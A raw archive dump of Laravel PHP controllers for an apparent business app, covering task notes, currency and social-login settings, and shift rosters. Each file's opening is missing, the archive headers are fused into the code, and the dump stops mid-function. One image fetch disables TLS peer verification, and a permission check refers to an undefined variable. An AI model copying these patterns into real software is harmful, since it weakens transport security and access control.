$this->note = TaskNote::with('user', 'task')->findOrFail($id); $this->editTaskNotePermission = user()->permission('edit_task_notes'); $userId = UserService::getUserId(); $this->clientIds = ClientContact::where('user_id', $userId)->pluck('client_id')->toArray(); abort_403(!($this->editTaskNotePermission == 'all' || ($this->editTaskNotePermission == 'added' && ($this->note->added_by == user()->id || $this->note->added_by == $userId || in_array($this->note->added_by, $this->clientIds))))); $taskuserData = []; $usersData = $this->note->task->users; foreach ($usersData as $user) { $url = route('employees.show', [$user->id]); $taskuserData[] = ['id' => $user->id, 'value' => $user->name, 'image' => $user->image_url, 'link' => $url]; } $this->taskuserData = $taskuserData; return view('tasks.notes.edit', $this->data); } public function update(StoreTaskNote $request, $id) { $note = TaskNote::findOrFail($id); $this->editTaskNotePermission = user()->permission('edit_task_notes'); $this->userId = UserService::getUserId(); $this->clientIds = ClientContact::where('user_id', $this->userId)->pluck('client_id')->toArray(); abort_403(!($this->editTaskNotePermission == 'all' || ($this->editTaskNotePermission == 'added' && ($note->added_by == user()->id || $note->added_by == $this->userId || in_array($note->added_by, $this->clientIds))))); $note->note = trim_editor($request->note); $note->save(); $this->notes = TaskNote::with('task')->where('task_id', $note->task_id)->orderByDesc('id')->get(); $view = view('tasks.notes.show', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } } Http/Controllers/TaskCategoryController.php000064400000003460150325104510015145 0ustar00addPermission = user()->permission('add_task_category'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->categories = TaskCategory::allCategories(); return view('tasks.create_category', $this->data); } public function store(StoreTaskCategory $request) { $this->addPermission = user()->permission('add_task_category'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $category = new TaskCategory(); $category->category_name = $request->category_name; $category->save(); $categories = TaskCategory::allCategories(); $options = BaseModel::options($categories, $category, 'category_name'); return Reply::successWithData(__('messages.recordSaved'), ['data' => $options]); } public function update(StoreTaskCategory $request, $id) { $category = TaskCategory::findOrFail($id); $category->category_name = strip_tags($request->category_name); $category->save(); $categories = TaskCategory::allCategories(); $options = BaseModel::options($categories, null, 'category_name'); return Reply::successWithData(__('messages.updateSuccess'), ['data' => $options]); } public function destroy($id) { TaskCategory::destroy($id); $categories = TaskCategory::allCategories(); $options = BaseModel::options($categories, null, 'category_name'); return Reply::successWithData(__('messages.deleteSuccess'), ['data' => $options]); } } Http/Controllers/ImageController.php000064400000002504150325104510013565 0ustar00image, self::FILE_PATH); $image = Common::encryptDecrypt($upload); return response()->json(route('image.getImage', $image)); } public function getImage($imageEncrypted) { $imagePath = ''; try { $decrypted = Common::encryptDecrypt($imageEncrypted, 'decrypt'); $file_data = file_get_contents(asset_url_local_s3(self::FILE_PATH . '/' . $decrypted), false, stream_context_create([ 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, ], ])); $imagePath = \Image::make($file_data)->response(); } catch (\Exception $e) { abort(404); } return $imagePath; } public function cropper($element) { $this->element = $element; return view('theme-settings.ajax.cropper', $this->data); } } Http/Controllers/LeadAgentSettingController.php000064400000010415150325104510015725 0ustar00middleware(function ($request, $next) { abort_403(!in_array('leads', $this->user->modules)); return $next($request); }); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->addPermission = user()->permission('add_lead_agent'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->employees = User:: join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->select('users.id', 'users.name', 'users.email', 'users.created_at', 'users.image') ->where('roles.name', 'employee') ->get(); $this->leadCategories = LeadCategory::get(); return view('lead-settings.create-agent-modal', $this->data); } public function store(StoreLeadAgent $request) { $this->addPermission = user()->permission('add_lead_agent'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $categoryIds = $request->category_id; foreach ($categoryIds as $categoryId) { $agentCategory = new LeadAgent(); $agentCategory->company_id = company()->id; $agentCategory->user_id = $request->agent_id; $agentCategory->lead_category_id = $categoryId; $agentCategory->added_by = user()->id; $agentCategory->status = 'enabled'; $agentCategory->save(); } if($request->deal_category_id) { $data = LeadAgent::with('user')->where('lead_category_id', $request->deal_category_id)->get(); $option = ''; foreach($data->pluck('user') as $item) { $option .= ''; } return Reply::successWithData(__('messages.recordSaved'), ['data' => $option]); } return Reply::success(__('messages.recordSaved')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $leadAgent = LeadAgent::where('user_id', $id)->first(); $this->deletePermission = user()->permission('delete_lead_agent'); abort_403(!($this->deletePermission == 'all' || ($this->editPermission == 'added' && $leadAgent->added_by == user()->id))); LeadAgent::where('user_id', $id)->delete(); return Reply::success(__('messages.deleteSuccess')); } public function updateCategory($id, UpdateLeadAgent $request) { LeadAgent::where('user_id', $id)->delete(); foreach($request->categoryId as $categoryId) { LeadAgent::firstOrCreate([ 'user_id' => $id, 'lead_category_id' => $categoryId, 'last_updated_by' => user()->id, 'company_id' => company()->id ]); } return Reply::success(__('messages.updateSuccess')); } public function updateStatus($id, Request $request) { LeadAgent::where('user_id', $id)->update(['status' => $request->status]); return reply::success(__('messages.updateSuccess')); } public function agentCategories() { $leadAgentCategory = LeadAgent::where('user_id', request()->agent_id)->pluck('lead_category_id')->toArray(); if(!empty($leadAgentCategory)) { $leadCategory = LeadCategory::whereNotIn('id', $leadAgentCategory)->get(); return Reply::dataOnly(['data' => $leadCategory]); } else { $leadCategory = LeadCategory::all(); return Reply::dataOnly(['data' => $leadCategory]); } } } Http/Controllers/about.php7000064400000026574150325104510011715 0ustar00Http/Controllers/CurrencySettingController.php000064400000017153150325104510015701 0ustar00pageTitle = 'app.menu.currencySettings'; $this->activeSettingMenu = 'currency_settings'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_currency_setting') !== 'all'); return $next($request); }); } /** * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|mixed */ public function index() { $this->currencies = Currency::all(); $this->defaultFormattedCurrency = currency_format('1234567.89', companyOrGlobalSetting()->currency_id); $this->view = 'currency-settings.ajax.currency-setting'; $this->activeTab = 'currency-setting'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('currency-settings.index', $this->data); } /** * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function create() { $this->currencies = Currency::all(); $this->currencyFormatSetting = currency_format_setting(); $this->defaultFormattedCurrency = currency_format('1234567.89', companyOrGlobalSetting()->currency_id); return view('currency-settings.create', $this->data); } /** * @param StoreCurrency $request * @return array|string[] * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreCurrency $request) { $currency = new Currency(); $currency->currency_name = $request->currency_name; $currency->currency_symbol = $request->currency_symbol; $currency->currency_code = $request->currency_code; $currency->is_cryptocurrency = $request->is_cryptocurrency; $currency->exchange_rate = $request->exchange_rate; $currency->usd_price = $request->usd_price; $currency->currency_position = $request->currency_position; $currency->no_of_decimal = $request->no_of_decimal; $currency->thousand_separator = $request->thousand_separator; $currency->decimal_separator = $request->decimal_separator; $currency->save(); $this->updateExchangeRates(); return Reply::success(__('messages.recordSaved')); } public function show($id) { return redirect(route('currency-settings.edit', $id)); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View */ public function edit($id) { $this->currency = Currency::findOrFail($id); $this->defaultFormattedCurrency = currency_format('1234567.89', $id); return view('currency-settings.edit', $this->data); } /** * Update the specified resource in storage. */ public function update(UpdateCurrency $request, $id) { $currency = Currency::findOrFail($id); $currency->currency_name = $request->currency_name; $currency->currency_symbol = $request->currency_symbol; $currency->currency_code = $request->currency_code; $currency->exchange_rate = $request->exchange_rate; $currency->usd_price = $request->usd_price; $currency->is_cryptocurrency = $request->is_cryptocurrency; $currency->currency_position = $request->currency_position; $currency->no_of_decimal = $request->no_of_decimal; $currency->thousand_separator = $request->thousand_separator; $currency->decimal_separator = $request->decimal_separator; $currency->save(); session()->forget('currency_format_setting' . $currency->id); session()->forget('currency_format_setting'); return Reply::success(__('messages.updateSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return array */ public function destroy($id) { if ($this->company->currency_id == $id) { return Reply::error(__('modules.currencySettings.cantDeleteDefault')); } try { Currency::destroy($id); } catch (QueryException) { return Reply::error(__('messages.notAllowedToDeleteCurrency')); } return Reply::success(__('messages.deleteSuccess')); } public function exchangeRate($currency) { $currencyApiKey = ($this->global->currency_converter_key) ?: config('app.currency_converter_key'); if($this->global->currency_key_version == 'dedicated'){ $currencyApiKeyVersion = $this->global->dedicated_subdomain; }else{ $currencyApiKeyVersion = $this->global->currency_key_version; } try { // Get exchange rate $client = new Client(); $res = $client->request('GET', 'https://' . $currencyApiKeyVersion . '.currconv.com/api/v7/convert?q=' . $currency . '_' . companyOrGlobalSetting()->currency->currency_code . '&compact=ultra&apiKey=' . $currencyApiKey); $conversionRate = $res->getBody(); $conversionRate = json_decode($conversionRate, true); $rate = $conversionRate[mb_strtoupper($currency) . '_' . companyOrGlobalSetting()->currency->currency_code]; return Reply::dataOnly(['status' => 'success', 'value' => $rate]); } catch (\Throwable $th) { return Reply::error($th->getMessage()); } } /** * @return array */ public function updateExchangeRate() { $currencyApiKey = ($this->global->currency_converter_key) ?: config('app.currency_converter_key'); if (is_null($currencyApiKey)) { return Reply::error(__('messages.currencyExchangeKeyNotFound')); } $this->updateExchangeRates(); return Reply::success(__('messages.updateSuccess')); } /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function currencyExchangeKey() { return view('currency-settings.currency-exchange-modal', $this->data); } /** * @param StoreCurrencyExchangeKey $request * @return array */ public function currencyExchangeKeyStore(StoreCurrencyExchangeKey $request) { $this->global->currency_converter_key = $request->currency_converter_key; $this->global->currency_key_version = $request->currency_key_version; if($request->currency_key_version == 'dedicated'){ $this->global->dedicated_subdomain = $request->dedicated_subdomain; }else{ $this->global->dedicated_subdomain = null; } $this->global->save(); // remove session cache()->forget('global_setting'); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/AttendanceReportController.php000064400000001271150325104510016005 0ustar00pageTitle = 'app.menu.attendanceReport'; } public function index(AttendanceReportDataTable $dataTable) { if (!request()->ajax()) { $this->fromDate = now($this->company->timezone)->startOfMonth(); $this->toDate = now($this->company->timezone); $this->employees = User::allEmployees(); } return $dataTable->render('reports.attendance.index', $this->data); } } Http/Controllers/SocialAuthSettingController.php000064400000005150150325104510016135 0ustar00pageTitle = 'app.menu.socialLogin'; $this->activeSettingMenu = 'social_auth_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_social_login_setting') == 'all')); return $next($request); }); } public function index() { $this->credentials = SocialAuthSetting::first(); $tab = request('tab'); $this->view = match ($tab) { 'facebook' => 'social-login-settings.ajax.facebook', 'twitter' => 'social-login-settings.ajax.twitter', 'linkedin' => 'social-login-settings.ajax.linkedin', default => 'social-login-settings.ajax.google', }; $this->activeTab = $tab ?: 'google'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('social-login-settings.index', $this->data); } public function update(UpdateRequest $request) { $socialAuth = SocialAuthSetting::first(); if($request->tab == 'twitter') { $socialAuth->twitter_client_id = $request->twitter_client_id; $socialAuth->twitter_secret_id = $request->twitter_secret_id; $socialAuth->twitter_status = $request->twitter_status ? 'enable' : 'disable'; } if($request->tab == 'facebook') { $socialAuth->facebook_client_id = $request->facebook_client_id; $socialAuth->facebook_secret_id = $request->facebook_secret_id; $socialAuth->facebook_status = $request->facebook_status ? 'enable' : 'disable'; } if($request->tab == 'linkedin') { $socialAuth->linkedin_client_id = $request->linkedin_client_id; $socialAuth->linkedin_secret_id = $request->linkedin_secret_id; $socialAuth->linkedin_status = $request->linkedin_status ? 'enable' : 'disable'; } if($request->tab == 'google') { $socialAuth->google_client_id = $request->google_client_id; $socialAuth->google_secret_id = $request->google_secret_id; $socialAuth->google_status = $request->google_status ? 'enable' : 'disable'; } $socialAuth->save(); cache()->forget('social_auth_setting'); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/EmployeeShiftScheduleController.php000064400000101723150325104510017000 0ustar00pageTitle = 'app.menu.shiftRoster'; $this->middleware(function ($request, $next) { abort_403(!in_array('attendance', $this->user->modules)); return $next($request); }); } public function index(Request $request) { $this->viewShiftPermission = user()->permission('view_shift_roster'); $this->manageEmployeeShifts = user()->permission('manage_employee_shifts'); abort_403(!(in_array($this->viewShiftPermission, ['all', 'owned']))); if (request()->ajax()) { if (request()->view_type == 'week') { return $this->weekSummaryData($request); } return $this->summaryData($request); } $this->employeeShiftChangeRequest = EmployeeShiftChangeRequest::selectRaw('count(employee_shift_change_requests.id) as request_count')->where('employee_shift_change_requests.status', 'waiting')->first(); if ($this->viewShiftPermission == 'owned') { $this->employees = User::where('id', user()->id)->get(); } else { $this->employees = User::allEmployees(null, false, ($this->viewShiftPermission == 'all' ? 'all' : null)); } $now = now(); $this->year = $now->format('Y'); $this->month = $now->format('m'); $this->departments = Team::all(); return view('shift-rosters.index', $this->data); } public function summaryData($request) { $this->attendanceSetting = AttendanceSetting::with('shift')->first()->shift; $this->employeeShifts = EmployeeShift::where('shift_name', '<>', 'Day Off')->get(); $this->year = $request->change_year ?: $request->year; $this->month = $request->change_month ?: $request->month; $employees = User::with( [ 'shifts' => function ($query) { $query->whereRaw('MONTH(employee_shift_schedules.date) = ?', [$this->month]) ->whereRaw('YEAR(employee_shift_schedules.date) = ?', [$this->year]); }, 'leaves' => function ($query) { $query->whereRaw('MONTH(leaves.leave_date) = ?', [$this->month]) ->whereRaw('YEAR(leaves.leave_date) = ?', [$this->year]) ->where('status', 'approved'); }, 'shifts.shift', ] )->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->select('users.inactive_date','users.id', 'users.name','users.status', 'users.email', 'users.created_at', 'employee_details.department_id', 'users.image') ->onlyEmployee() ->withoutGlobalScope(ActiveScope::class) ->where(function ($query) { // $query->whereNull('users.inactive_date') $query->where('users.status','active') ->orWhere(function ($subQuery) { $subQuery->whereRaw('YEAR(users.inactive_date) >= ?', [$this->year]) ->whereRaw('MONTH(users.inactive_date) >= ?', [$this->month]); }); }) ->groupBy('users.id'); if ($request->department != 'all') { $employees = $employees->where('employee_details.department_id', $request->department); } if ($request->userId != 'all') { $employees = $employees->where('users.id', $request->userId); } $employees = $employees->get(); $this->holidays = Holiday::whereRaw('MONTH(holidays.date) = ?', [$this->month])->whereRaw('YEAR(holidays.date) = ?', [$this->year])->get(); $final = []; $holidayOccasions = []; $shiftColorCode = []; $this->daysInMonth = Carbon::parse('01-' . $this->month . '-' . $this->year)->daysInMonth; $now = now()->timezone($this->company->timezone); $requestedDate = Carbon::parse(Carbon::parse('01-' . $this->month . '-' . $this->year))->endOfMonth(); $deactiveEmp = []; foreach ($employees as $employee) { $isActive = ''; if($employee->status == 'deactive'){ $isActive = 'no'; $deactiveEmp[] = $employee->id; } $dataBeforeJoin = null; $dataTillToday = array_fill(1, $requestedDate->copy()->format('d'), 'EMPTY'); if (!$requestedDate->isPast()) { $dateTofill = ((int)$this->daysInMonth - (int)$now->copy()->format('d')); $dataFromTomorrow = array_fill($now->copy()->addDay()->format('d'), (($dateTofill < 0) ? 0 : $dateTofill), 'EMPTY'); $shiftColorCode = array_fill(1, ((int)$this->daysInMonth), $this->attendanceSetting->color); } else if ($requestedDate->isPast() && ((int)$this->daysInMonth - (int)$now->copy()->format('d')) < 0) { $dataFromTomorrow = array_fill($now->copy()->addDay()->format('d'), 0, 'EMPTY'); $shiftColorCode = array_fill(1, ((int)$this->daysInMonth), $this->attendanceSetting->color); } else { $dateTofill = ((int)$this->daysInMonth - (int)$now->copy()->format('d')); $dataFromTomorrow = array_fill($now->copy()->addDay()->format('d'), (($dateTofill < 0) ? 0 : $dateTofill), 'EMPTY'); $shiftColorCode = array_fill(1, ((int)$this->daysInMonth), $this->attendanceSetting->color); } $final[$employee->id . '#' . $employee->name] = array_replace($dataTillToday, $dataFromTomorrow); foreach ($employee->shifts as $shift) { if ($shift->shift->shift_name == 'Day Off') { $final[$employee->id . '#' . $employee->name][Carbon::parse($shift->date)->day] = ''; $shiftColorCode[Carbon::parse($shift->date)->day] = $shift->color; } else { $final[$employee->id . '#' . $employee->name][Carbon::parse($shift->date)->day] = ''; $shiftColorCode[Carbon::parse($shift->date)->day] = $shift->color; } } $employeeName = view('components.employee', [ 'user' => $employee ]); $final[$employee->id . '#' . $employee->name][] = $employeeName; if ($employee->employeeDetail->joining_date->greaterThan(Carbon::parse(Carbon::parse('01-' . $this->month . '-' . $this->year)))) { if ($request->month == $employee->employeeDetail->joining_date->format('m') && $this->year == $employee->employeeDetail->joining_date->format('Y')) { if ($employee->employeeDetail->joining_date->format('d') == '01') { $dataBeforeJoin = array_fill(1, $employee->employeeDetail->joining_date->format('d'), '-'); $shiftColorCode = array_fill(1, $employee->employeeDetail->joining_date->format('d'), ''); } else { $dataBeforeJoin = array_fill(1, $employee->employeeDetail->joining_date->subDay()->format('d'), '-'); } } if (($request->month < $employee->employeeDetail->joining_date->format('m') && $this->year == $employee->employeeDetail->joining_date->format('Y')) || $this->year < $employee->employeeDetail->joining_date->format('Y')) { $dataBeforeJoin = array_fill(1, $this->daysInMonth, '-'); } } if (!is_null($dataBeforeJoin)) { $final[$employee->id . '#' . $employee->name] = array_replace($final[$employee->id . '#' . $employee->name], $dataBeforeJoin); } foreach ($employee->leaves as $leave) { if ($leave->duration != 'half day') { $final[$employee->id . '#' . $employee->name][$leave->leave_date->day] = 'Leave'; $shiftColorCode[$leave->leave_date->day] = ''; } } foreach ($this->holidays as $holiday) { $departmentId = $employee->employeeDetail->department_id; $designationId = $employee->employeeDetail->designation_id; $employmentType = $employee->employeeDetail->employment_type; $holidayDepartment = (!is_null($holiday->department_id_json)) ? json_decode($holiday->department_id_json) : []; $holidayDesignation = (!is_null($holiday->designation_id_json)) ? json_decode($holiday->designation_id_json) : []; $holidayEmploymentType = (!is_null($holiday->employment_type_json)) ? json_decode($holiday->employment_type_json) : []; if (((in_array($departmentId, $holidayDepartment) || $holiday->department_id_json == null) && (in_array($designationId, $holidayDesignation) || $holiday->designation_id_json == null) && (in_array($employmentType, $holidayEmploymentType) || $holiday->employment_type_json == null))) { if ($final[$employee->id . '#' . $employee->name][$holiday->date->day] == 'Absent' || $final[$employee->id . '#' . $employee->name][$holiday->date->day] == 'EMPTY') { $final[$employee->id . '#' . $employee->name][$holiday->date->day] = 'Holiday'; $holidayOccasions[$holiday->date->day] = $holiday->occassion; $shiftColorCode[$holiday->date->day] = ''; } } } } $this->employeeAttendence = $final; $this->employeeIdsInactive = $deactiveEmp; $this->holidayOccasions = $holidayOccasions; $this->shiftColorCode = $shiftColorCode; $this->weekMap = Holiday::weekMap('D'); $view = view('shift-rosters.ajax.summary_data', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'data' => $view]); } public function weekSummaryData($request) { $this->attendanceSetting = AttendanceSetting::with('shift')->first()->shift; $this->employeeShifts = EmployeeShift::where('shift_name', '<>', 'Day Off')->get(); $now = Carbon::parse($request->week_start_date, company()->timezone); $this->weekStartDate = $now->copy()->startOfWeek(attendance_setting()->week_start_from); $this->weekEndDate = $this->weekStartDate->copy()->addDays(6); $this->weekPeriod = CarbonPeriod::create($this->weekStartDate, $this->weekStartDate->copy()->addDays(6)); // Get All Dates from start to end date $employees = User::with( [ 'employeeDetail.designation:id,name', 'shifts' => function ($query) { $query->wherebetween('employee_shift_schedules.date', [$this->weekStartDate->toDateString(), $this->weekEndDate->toDateString()]); }, 'leaves' => function ($query) { $query->wherebetween('leaves.leave_date', [$this->weekStartDate->toDateString(), $this->weekEndDate->toDateString()]) ->where('status', 'approved'); }, 'shifts.shift', 'leaves.type'] )->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->leftJoin('employee_details', 'employee_details.user_id', '=', 'users.id') ->select('users.id', 'users.name', 'users.inactive_date','users.status','users.email', 'users.created_at', 'employee_details.department_id', 'users.image') ->withoutGlobalScope(ActiveScope::class) ->where(function ($query) use ($request) { // $query->whereNull('users.inactive_date') $query->where('users.status','active') ->orWhere(function ($subQuery) use ($request) { $subQuery->whereNotNull('users.inactive_date') ->where('users.inactive_date', '>=', $this->weekStartDate->toDateString()); }) ->orWhereNull('users.inactive_date') ->orWhere('users.inactive_date', '>=', $this->weekEndDate->toDateString()); }) ->onlyEmployee()->groupBy('users.id'); if ($request->department != 'all') { $employees = $employees->where('employee_details.department_id', $request->department); } if ($request->userId != 'all') { $employees = $employees->where('users.id', $request->userId); } $employees = $employees->get(); $this->holidays = Holiday::whereBetween('holidays.date', [$this->weekStartDate->toDateString(), $this->weekEndDate->toDateString()])->get(); $final = []; $holidayOccasions = []; $leaveType = []; $shiftColorCode = []; $deactiveEmp = []; $this->daysInMonth = 7; // Week total days $now = now()->timezone($this->company->timezone); foreach ($employees as $employee) { $dataBeforeJoin = null; $isActive = ''; if($employee->status == 'deactive'){ $isActive = 'no'; $deactiveEmp[] = $employee->id; } foreach ($this->weekPeriod->toArray() as $date) { $final[$employee->id . '#' . $employee->name][$date->toDateString()] = 'EMPTY'; } foreach ($employee->shifts as $shift) { $dateString = Carbon::parse($shift->date)->toDateString(); if ($shift->shift->shift_name == 'Day Off') { $final[$employee->id . '#' . $employee->name][$dateString] = ''; $shiftColorCode[$dateString] = $shift->color; } else { $final[$employee->id . '#' . $employee->name][$dateString] = ''; $shiftColorCode[$dateString] = $shift->color; } } $emplolyeeName = view('components.employee', [ 'user' => $employee ]); $final[$employee->id . '#' . $employee->name][] = $emplolyeeName; $joiningDate = Carbon::createFromFormat('Y-m-d', $employee->employeeDetail->joining_date->toDateString(), company()->timezone)->startOfDay(); if ($joiningDate->greaterThan($this->weekEndDate)) { foreach ($this->weekPeriod->toArray() as $date) { $final[$employee->id . '#' . $employee->name][$date->toDateString()] = '-'; } } elseif ($joiningDate->greaterThan($this->weekStartDate) && $joiningDate->lessThan($this->weekEndDate)) { foreach ($this->weekPeriod->toArray() as $date) { if ($date->lessThan($joiningDate)) { $final[$employee->id . '#' . $employee->name][$date->toDateString()] = '-'; } } } foreach ($employee->leaves as $leave) { if ($leave->duration != 'half day') { $final[$employee->id . '#' . $employee->name][$leave->leave_date->toDateString()] = 'Leave'; $shiftColorCode[$leave->leave_date->day] = ''; $leaveType[$employee->id][$leave->leave_date->toDateString()] = $leave->type->type_name; } } foreach ($this->holidays as $holiday) { $holidayDateString = $holiday->date->toDateString(); $departmentId = $employee->employeeDetail->department_id; $designationId = $employee->employeeDetail->designation_id; $employmentType = $employee->employeeDetail->employment_type; $holidayDepartment = (!is_null($holiday->department_id_json)) ? json_decode($holiday->department_id_json) : []; $holidayDesignation = (!is_null($holiday->designation_id_json)) ? json_decode($holiday->designation_id_json) : []; $holidayEmploymentType = (!is_null($holiday->employment_type_json)) ? json_decode($holiday->employment_type_json) : []; if (((in_array($departmentId, $holidayDepartment) || $holiday->department_id_json == null) && (in_array($designationId, $holidayDesignation) || $holiday->designation_id_json == null) && (in_array($employmentType, $holidayEmploymentType) || $holiday->employment_type_json == null))) { if ($final[$employee->id . '#' . $employee->name][$holidayDateString] == 'Absent' || $final[$employee->id . '#' . $employee->name][$holidayDateString] == 'EMPTY') { $final[$employee->id . '#' . $employee->name][$holidayDateString] = 'Holiday'; $holidayOccasions[$holidayDateString] = $holiday->occassion; $shiftColorCode[$holidayDateString] = ''; } } } } $this->employeeAttendence = $final; $this->employeeIdsInactive = $deactiveEmp; $this->holidayOccasions = $holidayOccasions; $this->leaveType = $leaveType; $this->shiftColorCode = $shiftColorCode; $this->weekMap = Holiday::weekMap('D'); $view = view('shift-rosters.ajax.week_summary_data', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'data' => $view]); } public function mark(Request $request, $userid, $day, $month, $year) { $manageEmployeeShifts = user()->permission('manage_employee_shifts'); abort_403(!(in_array($manageEmployeeShifts, ['all']))); $this->date = Carbon::createFromFormat('d-m-Y', $day . '-' . $month . '-' . $year)->format('Y-m-d'); $this->day = Carbon::createFromFormat('d-m-Y', $day . '-' . $month . '-' . $year)->dayOfWeek; $this->employee = User::findOrFail($userid); $this->shiftSchedule = EmployeeShiftSchedule::with('pendingRequestChange')->where('user_id', $userid)->where('date', $this->date)->first(); $this->employeeShifts = EmployeeShift::all(); return view('shift-rosters.ajax.edit', $this->data); } public function store(Request $request) { EmployeeShiftSchedule::firstOrCreate([ 'user_id' => $request->user_id, 'date' => $request->shift_date, 'employee_shift_id' => $request->employee_shift_id, 'company_id' => company()->id ]); return Reply::success(__('messages.employeeShiftAdded')); } public function update(Request $request, $id) { $shift = EmployeeShiftSchedule::findOrFail($id); $shift->employee_shift_id = $request->employee_shift_id; if (!$request->hasFile('file')) { Files::deleteFile($shift->file, 'employee-shift-file/' . $id); Files::deleteDirectory('employee-shift-file/' . $id); $shift->file = null; } if ($request->hasFile('file')) { Files::deleteFile($request->file, 'employee-shift-file/' . $id); $shift->file = Files::uploadLocalOrS3($request->file, 'employee-shift-file/' . $id); } $shift->save(); return Reply::success(__('messages.employeeShiftAdded')); } public function destroy($id) { EmployeeShiftSchedule::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function exportAllShift($year, $month, $id, $department, $startDate, $viewType) { abort_403(!canDataTableExport()); if ($viewType == 'week') { $now = Carbon::parse($startDate, company()->timezone); $startDate = $now->copy()->startOfWeek(attendance_setting()->week_start_from); $endDate = $startDate->copy()->addDays(6); } else { $startDate = Carbon::createFromFormat('d-m-Y', '01-' . $month . '-' . $year)->startOfMonth()->startOfDay(); $endDate = $startDate->copy()->endOfMonth()->endOfDay(); } $date = $endDate->lessThan(now()) ? $endDate : now(); return Excel::download(new ShiftScheduleExport($year, $month, $id, $department, $startDate, $endDate, $viewType), 'Attendance_From_' . $startDate->format('d-m-Y') . '_To_' . $date->format('d-m-Y') . '.xlsx'); } public function employeeShiftCalendar(Request $request) { if (request('start') && request('end')) { $model = EmployeeShiftSchedule::with('shift')->where('user_id', $request->employeeId); $events = $model->get(); $eventData = array(); foreach ($events as $key => $event) { $startTime = Carbon::parse($event->date->toDateString() . ' ' . $event->shift->office_start_time); $endTime = Carbon::parse($event->date->toDateString() . ' ' . $event->shift->office_end_time); if ($startTime->gt($endTime)) { $endTime->addDay(); } $eventData[] = [ 'id' => $event->id, 'userId' => $event->user_id, 'day' => $event->date->day, 'month' => $event->date->month, 'year' => $event->date->year, 'title' => $event->shift->shift_name, 'start' => $startTime, 'end' => $endTime, 'color' => $event->shift->color ]; } return $eventData; } } public function create() { $this->employees = User::allEmployees(null, true, 'all'); $this->departments = Team::all(); $this->employeeShifts = EmployeeShift::all(); $this->pageTitle = __('modules.attendance.bulkShiftAssign'); $this->year = now()->format('Y'); $this->month = now()->format('m'); $dateFormat = Company::DATE_FORMATS; $this->dateformat = (isset($dateFormat[$this->company->date_format])) ? $dateFormat[$this->company->date_format] : 'DD-MM-YYYY'; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'shift-assign-notification')->first(); $this->view = 'shift-rosters.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('attendances.create', $this->data); } public function bulkShift(StoreBulkShift $request) { $employees = $request->user_id; $employeeData = User::with('employeeDetail')->whereIn('id', $employees)->get(); $employeeShift = EmployeeShift::find($request->shift); $officeOpenDays = json_decode($employeeShift->office_open_days); $date = Carbon::createFromFormat('d-m-Y', '01-' . $request->month . '-' . $request->year)->format('Y-m-d'); $period = []; $singleDate = ''; $invalidShiftDays = false; $dayOfName = ''; // Function to convert full month names to abbreviations $convertMonthToAbbreviation = function ($dateString) { $fullMonths = [ 'January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December' ]; $abbreviatedMonths = [ 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' ]; return str_replace($fullMonths, $abbreviatedMonths, $dateString); }; if ($request->assign_shift_by == 'month') { $startDate = Carbon::createFromFormat('d-m-Y', '01-' . $request->month . '-' . $request->year)->startOfMonth(); $endDate = $startDate->copy()->endOfMonth(); $multiDates = CarbonPeriod::create($startDate, $endDate); } else if ($request->assign_shift_by == 'date') { $singleDate = Carbon::createFromFormat(company()->date_format, $request->single_date); } else { $dates = explode(',', $request->multi_date); $startDate = Carbon::parse($dates[0]); $endDate = Carbon::parse($dates[1]); $multiDates = CarbonPeriod::create($startDate, $endDate); } $dateRange = []; if ($request->assign_shift_by == 'multiple' || $request->assign_shift_by == 'month') { foreach ($multiDates as $multiDate) { $dateRange[] = $multiDate->format('Y-m-d'); } foreach ($dateRange as $dateData) { $period[] = Carbon::parse($dateData); } } else { $period[] = Carbon::parse($singleDate); } $insertData = 0; $previousSchedules = EmployeeShiftSchedule::whereIn('user_id', $employees) ->whereIn('date', $dateRange) ->get(); foreach ($previousSchedules as $previousSchedule) { if (!is_null($previousSchedule->file) || $previousSchedule->file != '') { Files::deleteFile($previousSchedule->file, 'employee-shift-file/' . $previousSchedule->id); } $previousSchedule->delete(); } // $holidayError = false; foreach ($employees as $key => $userId) { $userData = $employeeData->where('id', $userId)->first(); // Retrieve holidays based on employee details $holidaysForUser = Holiday::where(function ($query) use ($userData) { $query->where(function ($subquery) use ($userData) { $subquery->where(function ($q) use 